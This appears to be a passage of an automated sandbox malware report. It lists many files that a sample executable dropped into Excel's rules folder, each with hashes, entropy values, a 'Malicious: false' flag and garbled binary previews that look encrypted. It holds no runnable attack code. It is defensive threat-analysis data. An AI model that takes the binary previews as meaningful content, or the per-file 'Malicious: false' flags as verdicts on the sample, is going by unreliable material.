Preview:	<?xmlwDI".R...+?.a!...W..c....zp9.kn......L...\.=...8.C........H.{.....iQ[.\|..G\!x..s..........{.1...+.......?..l!..a2/.l..D....x.s"..=.(\|...D..z.{..= .P.^.).b..d..5... .6.]N@.x....!.If+nnx....u..5..vd`...~.x..hv.D].i..s....P..5....G..jD@....~.Sl{..N.k.....K/.....'8).....f.8....#tq3..T.EEX.Cz.....]...@..\|b.U.1..."=r]....=g.M./}...@....."/?;.).8....VK^. ;.\.."..a..".F.^H.I..W......3J.O..\|\.0.....du.w..2.hi..s.6.K...O.DY5....../..N+...?.....X.Tb).;...]..Cr(t./...Q.UK..\d..t(..5.b.6....[......Z.5.H..V.A*W.xl...z7.RaP........ ......j......c7...Z{./.7..$.4.....p.&..w. %T.M.\|.............u.....p-nNW..K.dj....zQ^.?......G...'35?....e...nr/...9.0GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120605v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1210
Entropy (8bit):	7.826548692314156
Encrypted:	false
SSDEEP:	24:goFRT1i26GdBnUDcn/sxjaocfqx43TkR2EG5r2vYP9hvFvmH9Rp0JB5j2gYFt1bD:gofAGrzn/A2RRoABnP9hNvkHMF2dflD
MD5:	807F458C84E782BD30512DC69CE3FF66
SHA1:	31EC8771B5C3CE5FAE894F350BD3E2A06DFBAAD8
SHA-256:	5071A5D36B55FA31E3B7F274FC2395E5A05BDB8A5BB28028A4428608964C1321
SHA-512:	77A9DA34A0B96A5416EB36459BD355818597CC564DE622808729A49A6B02C2C6566489CBDC9393270FC2D17FA6CDF77E2A6FD4766789FB580E8650D36145D24E
Malicious:	false
Preview:	<?xml.{h..j..FO#.mP.....HE>............N....3.\|...../..H../......t..X..R....Gp...E8.7...WiG/..?hdI.`.....nF,..!....w..w.Wg..ueTNu.L.U...)16#... ....d.gT..H4Q5=.......!h..F...p.3.a.R..=>.j..M.N.B..o.On..Cx5!H.......,.;..?.b.....^s.h6 .1.jD..@..$J.-$v{..A2.hO$&..d.p...f....M.L....\|GQ.k.2.#:.#e..hx....Q..;.>....0..s.'....(/.p.BUW..i....J...K.....y........rDj.6..T.fLn..d.......s{;.#-....K..U4.....0MuR.pR.Go...A.E^....grQ.\.k.vg.H.g.B.w%...Q....`g....g.....kE.:..Z.dO...A..x........w(..3....R...2}2.S..."..h...Q.zt.2]...6.=.l.O2....b.H...fV.Y.fs83uk.O....K..R.\.....-6.p....T........\|..b...(....._..V....)-Y..G..ekf'p.>So.V.7..%(@,thEx.SZ....W.H...AD...z{. ^.......I..F..*w(c....\|.z.7}i..;...../.I.....:...k...)\.....O.N....X...r.(..T....S.@...m..J~~,.o._21..`.%>.C.\....H.. ..!...^f)s.y.M.......M.r.\|.m.].....o}.n.c.vf..^...`."!.%.p6B...<..K.x......aN.H. w..vK..D.g..a6..M..UE.........QN..\|..D..Ib.W.Q....BA..e\.YW....q......x...G..h.p..p.Mn...cC...y8

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120607v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	537
Entropy (8bit):	7.551996808271407
Encrypted:	false
SSDEEP:	12:EgRsaVOYTLLKiYJARYElUb2GA9VXS+LKYcii9a:EclSXjb2G+B7bD
MD5:	6A40E9FAEF3DA7BC46241834E6A69261
SHA1:	A47C9B98EADCF7A1E54ED18A37FCD132580C7F5E
SHA-256:	B546EAF59BA20667BF0386F72893110CD1F56930FB1795F10E52274DDBE5A72F
SHA-512:	32036AE3E0235929CFB9A2CDEE9D91B11D3996CBFB1DE844D89097CD18BF63FECC7A0F860C3EF5D3D964DB97734AD4A089B290E7E4CB6FF627641528C39AD6D1
Malicious:	false
Preview:	<?xml.$.OQ..jU.u.0.5.....k...... S...+..K.....Y.....L/.t`_...t.#..\T.._....Wg=..l.<.[......A.9..a.]..<.......;.K..c.>Y04..U6/1..=>......N..yy.e.f.2x:./pS.......]K.PS7It=...W.v......e..&r...i..$...+)......k[..?.....7.q...R\|r....3..i~../.u.......yK.?t.'...........'b\|W..St.i.....}.*...`;&yDV:.n7(k..y.y....].p.....4.w@......R.j=...7H..\|...D...tS.@..i...7D.k...Sb.z^...X...S.-.R.{...+'0.Y$k.{72L~s..\|...7....o..F...a.M.&'U.[.c....\|D.&...uLGQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120608v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	2493
Entropy (8bit):	7.921100838143838
Encrypted:	false
SSDEEP:	48:ydumvMGsWjHF4UyDxvnUz64C7kE+r3qEEi2aoSnPeP+LQaD:4M87GnUqS3qENSuPePAQy
MD5:	ECF54947E9669120D5FDFBA190BC4549
SHA1:	BEE80F2A4B7D79BCC0C89AEBF15517188FED8CA2
SHA-256:	96B2B90C3E7C6AA31F1BB6E0072FDD7921F7D9985D9BFD109826FF69ECBD4DCD
SHA-512:	260C95BDF7B4B19C61F8CBA781262CEDC19213FADE81A4671E5622289C290F9E9E24444A66B8A1700A1CF5CAEDE048177510AD170123797864E8B64EE5C6B267
Malicious:	false
Preview:	<?xml.....6.F_hE.\wbk.E.a.'U+...........o.${...?.F..:..e.....].piE.&07...zb...K....2....iW._.....9.!....X....b.j.sE.....R.\|...}....$......`.,IpC[.P.n.E"..+&.[.+..2B..,.9......W4..],N$.K...0=.K.z.VF..o...geV...dK?.@x6.M.>......Q.....@m.`.r....`.+../..z.II....c\|.C...dn....x..PeR...\|....e...-.[..5.-..\#...`..".1.......fE......X..V..w.--..tu.\|....9XV..E.sB?..(.P.d.2./f....'.k.....We..9k.`.U...n.a.Y:~.zM.1.;.8...b..r.;D.(.j..9..^...e.h$...'...y.m..!xajR.\..@..._..3.....3c.@..$...h...+...w.vQT../.. pV<......{A..:....p.,9.(.H...v.bcJ.....@./....W.hHC.q....K...j6..@....[...f............`[.h.1S3.O.d..8...5....F./.l.........J....a..;n.q.....BQ..f.....9&v.;.v..._..Ne\|......C..0....-d!..../hl.j..Z.nZ..\..a...AB..k`...Y.P...T"...Ki[...?....._..(Zy3..C.[.F.Y....SE..5.^,.Z@..O"5+N..,...Z...i..TFu=.k..j._....8...=...o..wb.x.Q.....`...SD...oE.&OI.m....d..#..1Y..7:s.Z..#..VT..s..\|z`..\...*....\..oe..+....<.0N ..N.E..ro..:i...LZ.t.....a.TY!V]

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120609v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	741
Entropy (8bit):	7.706204385531518
Encrypted:	false
SSDEEP:	12:PYKLjHiIyuIag1DfdKOeDaiHQdqcvsda9eAG1pH1h3lpYMESPQBmMnT7e1ZS8GA8:PLcJP0OMQdMa9IxtbYMEvmsTSHStPbD
MD5:	948F6AF90481CF18A9421A9F464BA742
SHA1:	BD8D3CEDD35A65DA0ABF804B43066473F250178E
SHA-256:	060A022C6F80C375C133DEDB2F9E1B8EC585D4D46AF4A81A614D93B0308875B2
SHA-512:	4CA46A213536A0B56DA584072B220DEBB4FEADD23F22BE894A39B3DE4B18C76405908AFA5976683A2D5D8D1C1C1A6E3A9885115A77B099D76A0B714C58325D47
Malicious:	false
Preview:	<?xml..4.....1.3h...-.n:cOo..).#oUasW..o...a\|.....A.S.f,.j#.....h}.>...d....c.....Hh#..,.i.....V.ih..<i.W\|...]C.......+....#L.R+..\|.,%.$. M#..X.WU.j.jL.#r.2..E.V".#.W&.X4t!(^....>..9.at........8u..9.l.y...>..4r...........o.(.U.c+.E.f5"w...0e.Y-.s.J.,..r...mb..p..X'9"....@.[..y.>.....3kHK...^r...1.i...{..j{....3..wU^..J.cj....?.:.%....-...)d..4..O..).}..j.G...h.UTuF2l...5k...i.0.&...#IY(......yX.c:6D.;..\^.2.....;.....}.......U.^2J...($ 8{....AX.6.R.?x..;%R^s.X......`..".MAgi.G..:.].;v.d.%.x..jAC...)[.vb..........^.=yv/..L.^.@..V..@h.t.....<.O.*.........O..e....^.!.s.....S....&.........B?B....AQu....2...]....L..X.UD.T.......GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120610v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	807
Entropy (8bit):	7.742563219386012
Encrypted:	false
SSDEEP:	24:helMLGVtUtymHN9vPW3GbRzPX0MCG9m+WibD:helkpPnjZPXKGo+WwD
MD5:	D52241ACF96EC741B1A8F00FF612F012
SHA1:	EBD8A7A0CD46DB09F202B03ADD5E3FB7EBF25AC0
SHA-256:	054A032FCC85E31729166DC3CA467120AA0067351982E9126B6C174D0DCC2F87
SHA-512:	D2696996737FD1AA738F75755353A15B0C53E954FD4997C33B577848BBD1C0DD10351284A313D019E710A3D3818C8E6E9BE0BF5025E724135D75171C8D0F6B38
Malicious:	false
Preview:	<?xml@O.N...f#..0.\|. .vNN{#..a..$.9......:...5s..lg..($...G.o`.:.eY+\<..A........r.....8.6vo..1a.s..x..`.....oZ...]. ...1:...S..7.4+..Z....8h,@...c0a...Y=.....TF...........7..l.e..J.^f.hd.d..=..Z[..G)u{$.O?._.L..x7R....C...y.D...).#W....5...2g.9......^..g..$........I.Z0:....e..ltz'.d./... }..{..../..n..C.m[..qRI...<).....m....].W..5..ZH...A..U.R;J..G...&..Q.}e...5..z.J.-.....g..$<..`8.7...5......i.Oj..6..[m..~N.......3..iFZ..F..3'...23......@.hu...t->.... .{h..D...0.Q..z...z.....~..D.9..IU......b40.\|A..'...B...c.6n;3..Q...<.e.* 8..../........V.o.EB.?/r..v:.9.hX......G....=..ca.tP....8..&K..Xk.....U!.x...=...x.~.s...k{W.Wu.......ln$x...{.9.^vqO-K....S..5.tz=\|.b..7&..j...GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120611v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	748
Entropy (8bit):	7.710596062380891
Encrypted:	false
SSDEEP:	12:2eMT74+HKmYfMFEL74z+MjIYlmqHiIWgxzlaz4hCMC8i5n0DKYcii9a:28+HWkF64qMNmqHDWWs4C8i5EbD
MD5:	DE82CAC1F75D1E02EC2DA4718E083F7B
SHA1:	EBD3A02961AEA4CBEC8541ED577D029433809572
SHA-256:	8ED8178DEF5F134E94060FF0C8FCB5AEC5163C7369E2D8BA243BBBFD9BF52D56
SHA-512:	9114C1A3585164F1BAB444BEB3163FE1494FFDDFACE8FC2C2BF91F267A04E46D4FE131B446B7F0B0C688AA1E51DB5398452D39266BE8BC66D5E81FB184CCC3F6
Malicious:	false
Preview:	<?xml.Dr`.?.6..h".}..[.z%.Mb*..4.!..:.....cP...I..[z...5..3.S3..F..T....M'...._Q.F....,w..&....b4..qP..#QQ..".O../6.....,#..)....ee7......!...... .O...b.....h.-s..D..0.\|.w'k....Xb.).......T../..J.N!./6.7.b....[5./.Ri..U......[Hi./.IK\|.]......zD.0..B3.....MZ..S.T...C._#..0.F.h.A.......5.8.....z....`...v-.........<.-.....wW.7...`....hZ.&..V&Zf.!R..Y.A!..a.........3=..\/.../.9.{\|..Z.,.....A..Kg..p..bY....h.!i.-E.uI.:..[.u.$..~.A]'rc....)j.X.8.+.]u.F.......3.S.....n.d."..H......(.g..4. ...........'.H3X."..l'.$.rb.p..m.-_P#D/...y..........9.!......X..A.,S cu.kG}q../X.B...;.)....:].......@..q\!.8.....n.....~B.E...%...../C.;...GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120612v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	804
Entropy (8bit):	7.695889860915797
Encrypted:	false
SSDEEP:	24:DRZYvbvc8pruG8Ojok/EyFfQ02JiVottmmbD:D98puGN1EsfQIVstm0D
MD5:	7C9C0CC752BBE2554EA09A520CCC1605
SHA1:	D8B02FAC9FA2DB6D558176C40E23706E4B4F16DB
SHA-256:	6ECF6E4FA66697A362B96306A06A3222E50DA54911B09448D650ECB218886F1D
SHA-512:	B626E8DE8933997BF09E96BBD1AC00B03DE8C98265ACB1CFF2E504ED12AA7042D6AC45190881F5EA3E9EBF22B84FFC92B8F91E3FEA836990CEC3F99A33AA91A6
Malicious:	false
Preview:	<?xml;.z..l.....m.....Y.1}.......t.Vn..^.wW..k.._.%....8}.H.<..o].-mlQ../..Y(.......M..0qtP....df....B.k....d...1~.97.2...F.p..}.\..p..(.X.).~..._.e...^..3.%.......j....{I.T.C..y.]....2{zFoU2Z.B.9..~....!P..k[......[...&.Slk:S...6.h.A..42..{..@jK...inj.....R.......j.y..m..3....E.....JV'U..5t./XrA...p.\)gG.....}.A..{..v.F...\Q......f.DpB..4..~.o...{......A..!R..".t..F...@..G1y.m...w.9....([.^.......E..........v.&.i....Fa.<.H..}[.o...`.j{X...{0.#.B......&.6.......pS..Y @D.ui...{..m...9.,...v......P...O.$z.#..(g.....T...Gt...4?...8.@:.X.Nd..!".0..j....E.+..(Q..{oGI.W..g&..X.M0.bI....LC...s.:.6...+..6..V..O...j1........D7.....7..G.....unB.i......`.X.=3?.B...gV&o.V...@h..M.....,.GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120613v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	965
Entropy (8bit):	7.7615058807536315
Encrypted:	false
SSDEEP:	24:+pZJiJvmeuli2VeOAwUAXwQCajiiOZQb9lmjt56UXs1C41NbD:nWlxVexQClBZio76UWC4rD
MD5:	8C568FDCFB772D83E37EFC72913BD06B
SHA1:	966740FC5A54F8B3BE504A32246C4381C05CD4D9
SHA-256:	2C893C661E82DC61DF09887B03995D1D9910C477F1C7F8E704FF1106F0E96874
SHA-512:	F5B465402722218FBE26123F6DD252CBE56B676212D7E81840DC21E6184FD6062E7FEA246BC88C338C644B9CE61A08CA8B1C57570CACFC9E8B9663DC920B39D7
Malicious:	false
Preview:	<?xml....>.....2s!D=..5F.5.93...>.@$.....`v]yKy..;...zT..Jk@..[.q...........V...."..S......{....$...8..O.......(1,...`.X."f....sW.V5.H...J..U....6g.G.n.....`.F...Z....I.$.._.zq.\ki..x.(y.1..$N....q....Y@=t.e..K.L...[0C.(.S{..OZx.%Y.[\U.cQ.6.5...w..v`q.1....8.{\}...g...@..Y...D...L.N......9<........my.......%X...4W._...Ajl. ....X.P8.e...8.H.?.N....ga.../......Z..d......H.X-Z0.7(_....c...p..]....e.a-...D..\a5........gE!.Bf......D...w&C.'.....m....F.B.....7..r.EwG....i...l.Rd...<.5)....Fy....B0..#..'`..c.v\3.E1.e.m..x..C..Uh..V..3...m..m./.fH.).^Xmob....L$..{...\...$p@`.]...%.?G)?...a..."*;.N9y.....k.#.]...8..<..9...7..j..7.M.....;...D....^..K.[...}.u.F.uu.....I..\|1.J.p...^(B..g.5...V...w.M.^....s&.!..k._..W.} ..p.O..2.K.56H...V_M\|.v....d......@1.:..CqkJ....6..3/t..u._..h.2.....7\.."..,T...k.x...H.a<.g................G2k...B. .}GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120614v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	800
Entropy (8bit):	7.734858657900286
Encrypted:	false
SSDEEP:	24:3cF3BCmt4TfMXrbEB8oj+i/RZ8Zyp7+0ibD:3clBC8OMvE8gkZJ0wD
MD5:	13750D04043AB43A352DA5B43D9523C4
SHA1:	CDD15D066CCCD97B002B50E2A4D93E5F027DB540
SHA-256:	85AD9062EAF39D0C8462591920FFBCDFEF6067ED60CB485DA46CF2172238CF0D
SHA-512:	3F796D62C114AD528A72312D567C8919293902CA4CC4B52F61100CC699E657BD1F64345D97645D8BC90CA93443CE0802BC20DB9C579C76EF45E01B2E5FAD9B7C
Malicious:	false
Preview:	<?xmlWI...8.+@\|...p.....J..GT!..[.k\|.BA..yVoh..w.a...K...c6;xrfJ.{.............W'...f...R.. ../+P.;.....d..}).L.H@...'..N......F.}..D.p..Q .L..mu....\Y5..W)@.E<..-..$...u.11.5eA..qH.\|.~ra.FS.z...?pn.vq.P..k.s-........@../....f/..-}.HZ.......^'.r..ik.J>.F.WTi....'5gs.F..Y..4+..lQI..5.. I..V....._iuu-...8....Er,.....G.f^..u...%..T'....r5.L..o..d.p~....h...m..m.."W(...!..l....+....@.*.?........1=:.......=..:XzCZ6.?.`..`J.C.S.....V.`X...e..%.'wM.......3...}k..\.(....-9 ..[vQ.?.O.y.....M..1.....Jj..Y.!tH..S..c....M..U..PZ..`(e..f..q.W.....y...ay..qZK.-.%.......2...-@..z.......v....g....y.44....l.......s..pt.(.u]..y..=X.a......7$k..hP..R.=..u\.9O.\|.c..C..v.H\.(.;~._..>...0T..b0..8.Wc....dGQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120615v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	740
Entropy (8bit):	7.716502000877875
Encrypted:	false
SSDEEP:	12:J+jK9b6d8Mbnz+nvQE4VpI7xO0DcqbTTCwfBFifRm8LZLexxBSLdg5fj9FVkJYcq:4yb6eMbnI4IdO0fnoRm8RSxUdg5fj979
MD5:	1F7C0478D5A92D997590C8A757A32F56
SHA1:	BFB75245D678F422C999371F29CC05DCD309F48A
SHA-256:	AC0F8B545AA998094772991BB24FD0595C5B7BF86DD0A2F8C205A5A4086806DA
SHA-512:	40B6E86E6D499F4428A66520FEDAC35D67BC06D9CA6C31FE435146F000BA885818BC4B166BF1F51F47D2FC8DDAF6B26E18DDF56ADA3DAE0171ACB48BA0474C4D
Malicious:	false
Preview:	<?xml./$.&\.....^.i.z..9RUv.... .6.v.S.....<Rqt.- /!.....kJ1....Ws.[.xg..m...R3.."..X..X..\|...+1..y.H.`:.B..o..0.v\S+i4\|...........V.c.z.u.VG.Rn..Y..kr.....P.....~.=<S1#.p....H..[..D`....1.%.....e+l...:xz5."...[..7.W.l..2.;S....R_.A.........K........,.\|5.d.w..fS......g....]..Y=.h....$.F...MY.Vm.o.1K`.H.0.M.R..@..a^..6..L........".\|.[y.s.'..a..{F.t..3:g.).....Hf...^....."x.:.........u!.v.......n%.a.w8...a.....I.....O"c\|.7..T......4.<.J.\.>..8v.[.....&g97....2c~.h..R..!_...C. .........\.t.E`....Y...I...cC.3..Y.Bp....B... y.............:...@.:.ID..&.3....Vl'..M.}C&.. ........1T.9...G........T....Xb4.9.Rv-6.......<.GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120616v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	819
Entropy (8bit):	7.718334768702866
Encrypted:	false
SSDEEP:	12:aqRmY/E/bJxWHd/4Hp9pQFDO4Bb18sj+yTBZ7C8usVr3REUPaJuO6uYcii9a:fRmYsla4HPpEy40saKFC8zPaJybD
MD5:	7F4306D12C4C21A7ECD328B50C2AA076
SHA1:	A841C7ADA632B141A3F526E91C1A3A635ECAC527
SHA-256:	9EA6CABD74F4F5284C1F55638819A86B70F60254C77B80D9E979B778125D2978
SHA-512:	0BFC254676FDA0123353EBD0098161E7CA1BC4FCBA33851CA8D3D4A6F4E0CA43734D3E86C6494EDD31401FDE22408E662012A60B61CDDB9CB4E2BC0C0CB6210F
Malicious:	false
Preview:	<?xml:.Ei....B/....K..i......)..T..e..Y.....d.e.S...w..w<..~...>"c..1+\|..R`...2..Y.t9.-.q{...f....} .V.W..f.L..+.I.K..l].#3....L.xa.=.........!3."5>..[O...'%.....,z9.....]..T.}.V..[...c.<..&....8..e.V..eqL.y}=..c%w.\..gC..N..SU...!0.r..].>u.{[.)HX!.R...<$......[Q...i.)RH.;3....#...Jx.q..F3.....r.....\.c>yk.........>XA.U..t.-.KN^...[.5aj\|.T...{..hI;/>Do.>..E"..I..l.f.....C.n'..>Y (..:..0.(xe.7.7<...A..O.7%.%....a..8 ...+.~.p'z.{G.%.?....>....Q...%wxgxn... ....H9....X..W.TS.X...X..T...D......G........_......mvT.5..v.7..G...5...d.r.q.C.wF.-]L.C..."Cbyb/{y.x..>.eo..to{.Aao\|...Vb.1.y...@N.m....5_._..)..K..!./ki...+.X.Y.X..>b..[..=.5H....l..aJ....P....[~..%........,..amq......%.....{..](.v1&PM..GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120617v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	760
Entropy (8bit):	7.725306501466818
Encrypted:	false
SSDEEP:	12:WsjjJJ7rfdnBQd5iXY3kxw/34Zqq4AkzuChgCjzW7K2ElvzA35rJu0uYcii9a:WWJJ7rfdBOX3V40XzQEzWexOrJ37bD
MD5:	E0160DBBD35E8DB4A619B89DE539FCCD
SHA1:	A7AB4A78E2BD1A4181A3D18190A726BB0BE077F0
SHA-256:	939F9DE2399D688BAACEED9CA4AD74B0B7246931BDB67E2B2DBB3718EFBBD6AA
SHA-512:	DEBAD13C1793EADDAE63AF6B7CFA9644D2CC8B9051D77922EF8E6FE54887F4B6E636D221E68A60E051AF0D6A187478792062973FC415DC384B2381EC62C37749
Malicious:	false
Preview:	<?xml.....6.D.-p.f.e...?...U.4.1u1....+.oi...V.....L.....Ck.9...,L.5..L1u.P.\|..%.y..KZ.u.d.9.@B]n.....^O..js(F.3.S.j.aQ.6.4....z.....a.X.........!...f..0.8.j.b....T.....f.4.......~.51....=........l@%.k..2.a.^?.....c ..\|...{A..\|D..P..a...i.......;[1.....(F.......,...ee.b...-..@.Z.].p.NZ?.V...@t.._G.w..Mz...V~..(h...b..lI.'.O........4.h.(.......q.H...P...~U..?..V..]...y.d.uug.=...V..T.^..XQK.X.N..%5<....._.$.v.........5....5....cpP(.."..v....e...J3q.e.U.J.bc....Z0#./*..Q..[.......,r-.O...../......M.tQ{Y..x.. V..%...H..k...?..-!~.9..~.]j.Q.#2...\|.Ih...$..d..u^+[.z.A..5...G......RO.@..........2...b.T~x....S.....U.....~..........R......>.WGQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120618v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	819
Entropy (8bit):	7.70175562218253
Encrypted:	false
SSDEEP:	24:SNQJGRsP+DsjtXIif45mNNhquqWwGlDPU+DwbD:SN3Rg+4j9f45mNyuqWjRU4qD
MD5:	E6DD63DCDE9B15A13B23B171C4C8EE66
SHA1:	C64D2B7FE8F3D0E5ADF88C5CAECB04F0A14FF648
SHA-256:	869F88450DDF08EEC2F215DA4EADA978E658A88990CEFEC7029D4697DDEB4207
SHA-512:	5E46DBCBAF8983EB188674944C32FD9F5BEB4E7044D6042E52185101DB3BEB78B30EA9B3FC4064E7B1F63C6DD68CF923C53CFD57C8383D68E5CD193132976989
Malicious:	false
Preview:	<?xml.G..M.e.mj....Y...Er......tC......W!.M..Q......\"Zvz..C...4k8j....Z.J.D3.C4?...q.x..}..5O.d-..g.m..+.h.s.e../8...7.........-..&.;.ib._l.<Q/{.c...t..{!Kf^X...M!.......s.p....7.?...DF.d.y..1c.=.....0.d..[QD......l....].......^..k\.a}..4....\...D.=&.v.W.Q&..R..[}U.z...6.~..>d..>.....a).........8.5a..v&0...:.d.RU....x..I ;...uGk.0.......F....(Y9..%.......3...!..Q...{.'^..j......!..U.r....../.^F5.d.E,sV..g..x...n....V.,&.f.WmO.f}8....n.[....dae...7..pz.;k.....'...M..B.H..B.=H..D.'5l.a.2...j..q..-..B..g.U.:H.z........4;0..:.m.7.Y.,...f..4.s5...2W..$E...o.-...&...n.-..C.i..:...R..m...NK0.0.x+.[^..:....{~../...#..........."V.I.V..h..[....V..>&...W..;(N.b...P.4.8.<.....=.<..6.a.. .eMGNT!$E.s.....5.iGQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120619v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	740
Entropy (8bit):	7.6247443321772845
Encrypted:	false
SSDEEP:	12:o4C7XFGUPCBfzShPm9fCbOMNiWjAyxYYTVSEt2eFHvNBd99Zndb+gFz/GHcKccn8:o4O1GUPYfzaPgCe8x/rBdlndb+/8HcuB
MD5:	CCF77233E79B836B97B15337F11F7974
SHA1:	9210C19822301233FF056B321FBAFB5848B83764
SHA-256:	EE6CD0268F5EC00972E4166EBF4DE9070EAC2828ECCC1CA795FA120D185D4033
SHA-512:	E12EFB02CC1B2BA69A5871219121F50838A0DAEDB942C29CF51EE5C610BB2CFC6B92A02A5C014BFAB03947BB3E7E1E528783C45FA6704FE0F1832704C425F45C
Malicious:	false
Preview:	<?xml..`f..{..t.2W.\,- .i!Sx.e....B.ee.......G.9..R.#[...&?..A .s..2_.'.a......QGL.......s../.Dtr../..T..].O..h...$...4nP..H....h._....:.q..vl.d....@S...$*.....j......L....v..., .D.\|.. .%u.E...i..J..\...a.-l?G\...:..}s..`...=..iVo...M...u..u.~(9.=.1...E.....5?L.U.t....A......Bx0]C..m(.......(.T.)A..w_=.\.U#...]7!.'.g.aE..F%.-...Y. ....+.<......`.W,W2>...&..;@..h.AU.....N..:.>+y.l9.D.....t.J..3...(.H...:.....k.xON.V2....@8..."....._..L...w.2.g.C...4,..\...........5Q...2M..M..d85.#o..Fj'...l..."4... ..W.\|..`.M.Qd.r,...Hh..9.xtPq.p._....!X.xG....(..Bd.b.9.l.p!...7.......\4K/.6..z....\.....!Hh..x.8....V.-?....n.b....Y.+./ ...GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120620v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	802
Entropy (8bit):	7.689651794707575
Encrypted:	false
SSDEEP:	12:gUzUGKJwsgLgYLQqCWGaKUTucmWPtrRXkgt+sicSvmk1RmXsb2Zu4UQet1tIh8YX:RUz8JRpTucmWPDkDcSvXAC4u4xeOXbD
MD5:	A825B8D9F7E9E5DD082B0D6A642C025E
SHA1:	FDB0F5449430BA4ED47F8048AB0B5B92CACA5A12
SHA-256:	1D4D94CF2E4C28CF4C39677F00223A54D5243A4AB24E23FBF03FFB46B1F82B6A
SHA-512:	A9E115831492B04D1C0910D99448B374707DE80C41D11D2F4392663D794297824974CEDA4EDD221D5082C684D7878378B74DDBBEF0393C8DBCD4871A504D9C02
Malicious:	false
